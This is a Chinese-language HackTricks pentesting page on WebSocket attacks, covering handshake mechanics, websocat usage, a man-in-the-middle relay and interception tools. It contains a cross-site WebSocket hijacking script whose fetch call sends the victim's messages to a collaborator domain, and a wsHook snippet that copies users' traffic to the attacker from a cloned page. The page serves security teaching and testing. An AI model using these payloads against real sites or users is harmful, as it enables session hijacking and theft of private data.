hacktricks/pentesting-web/websocket-attacks.md

11 KiB
Raw Blame History

WebSocket 攻击

从零开始学习 AWS 黑客技术,成为专家 htARTEHackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

什么是 WebSockets

WebSocket 连接是通过初始的 HTTP 握手建立的,并且被设计为长期存在,允许在任何时候进行双向消息传递,无需事务系统。这使得 WebSockets 特别适用于需要低延迟或服务器发起的通信的应用,比如实时金融数据流。

建立 WebSocket 连接

有关建立 WebSocket 连接的详细说明,请访问此处。简而言之WebSocket 连接通常是通过客户端 JavaScript 发起的,如下所示:

var ws = new WebSocket("wss://normal-website.com/ws");

wss 协议表示通过 TLS 加密的 WebSocket 连接,而 ws 表示一个未加密的连接。

在建立连接时,浏览器和服务器之间会通过 HTTP 执行握手。握手过程涉及浏览器发送请求,服务器做出响应,如下例所示:

浏览器发送握手请求:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

服务器的握手响应:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

WebSocket握手的关键点

  • ConnectionUpgrade头部信号启动WebSocket握手。
  • Sec-WebSocket-Version头部指示所需的WebSocket协议版本通常为13
  • Sec-WebSocket-Key头部中发送一个Base64编码的随机值确保每次握手都是独一无二的有助于防止缓存代理出现问题。这个值不是用于身份验证而是用于确认响应不是由配置错误的服务器或缓存生成的。
  • 服务器响应中的Sec-WebSocket-Accept头部是Sec-WebSocket-Key的哈希值验证服务器打算打开WebSocket连接的意图。

这些特性确保握手过程安全可靠,为高效的实时通信铺平道路。

websocat --insecure wss://10.10.10.10:8000 -v

或者创建一个websocat服务器

websocat -s 0.0.0.0:8000 #Listen in port 8000

中间人攻击 websocket 连接

如果发现客户端从当前本地网络连接到一个 HTTP websocket,你可以尝试进行 ARP Spoofing 攻击 来在客户端和服务器之间执行中间人攻击。
一旦客户端尝试连接到你,你可以使用:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets枚举

您可以使用工具https://github.com/PalindromeLabs/STEWS自动发现、指纹识别和搜索websockets中已知的漏洞。

Websocket调试工具

  • Burp Suite支持MitM方式拦截websockets通信与拦截常规HTTP通信的方式非常相似。
  • socketsleuthBurp Suite扩展将允许您通过获取历史记录、设置拦截规则、使用匹配和替换规则、使用IntruderAutoRepeater更好地管理Burp中的Websocket通信。
  • WSSiP简称“WebSocket/Socket.io代理这个用Node.js编写的工具提供了一个用户界面用于捕获、拦截、发送自定义消息并查看客户端和服务器之间的所有WebSocket和Socket.IO通信。
  • wsrepl是一个专为渗透测试设计的交互式websocket REPL。它提供了一个界面,用于观察传入的websocket消息并发送新消息,并提供了一个易于使用的框架来自动化这种通信。
  • https://websocketking.com/是一个用于使用websockets与其他网站进行通信的网站
  • https://hoppscotch.io/realtime/websocket除了其他类型的通信/协议外,它还提供了一个用于使用websockets与其他网站进行通信的网站

Websocket实验室

Burp-Suite-Extender-Montoya-Course您可以找到一个使用websockets启动web的代码此文章中可以找到解释。

跨站点WebSocket劫持CSWSH

跨站点WebSocket劫持,也称为跨源WebSocket劫持被确定为影响WebSocket握手的特定**跨站点请求伪造CSRF的一种情况。当WebSocket握手仅通过HTTP cookie进行身份验证而没有CSRF令牌**或类似的安全措施时,就会出现此漏洞。

攻击者可以利用这一点,托管一个恶意网页该网页发起与易受攻击应用程序的跨站WebSocket连接。因此此连接被视为受害者与应用程序会话的一部分利用会话处理机制中缺乏CSRF保护。

简单攻击

请注意,在建立****websocket连接时,cookie发送到服务器。服务器可能会使用它来关联每个特定用户与其基于发送cookie的websocket会话。

然后,例如,如果websocket 服务器在发送包含“READY”消息的情况下返回用户的对话历史记录,那么通过简单的XSS建立连接(cookie将被自动发送以授权受害者用户),发送READY”将能够检索对话的历史记录

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

在这篇博文https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/中,攻击者成功在进行 Websocket 通信的域的子域执行任意 JavaScript。由于它是一个子域cookie发送,并且由于Websocket 没有正确检查来源,因此可以与其通信并从中窃取令牌

从用户那里窃取数据

复制您想要冒充的 Web 应用程序(例如 .html 文件),并在进行 Websocket 通信的脚本中添加此代码:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

现在从https://github.com/skepticfx/wshook下载wsHook.js文件,并将其保存在包含网页文件的文件夹中
暴露网页应用程序并让用户连接到它您将能够通过websocket窃取发送和接收的消息

sudo python3 -m http.server 80

竞争条件

WebSockets中的竞争条件也是一个问题查看此信息以了解更多

其他漏洞

由于WebSockets是一种将数据发送到服务器端和客户端的机制取决于服务器和客户端如何处理信息WebSockets可以被用来利用其他几种漏洞如XSS、SQLi或使用来自WebSockets的用户输入的任何其他常见Web漏洞。

WebSocket劫持

这种漏洞可能允许您通过让反向代理认为已建立了WebSocket通信即使事实并非如此绕过反向代理的限制。这可能允许攻击者访问隐藏的端点。有关更多信息,请查看以下页面:

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

参考资料

从零开始学习AWS黑客技术 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式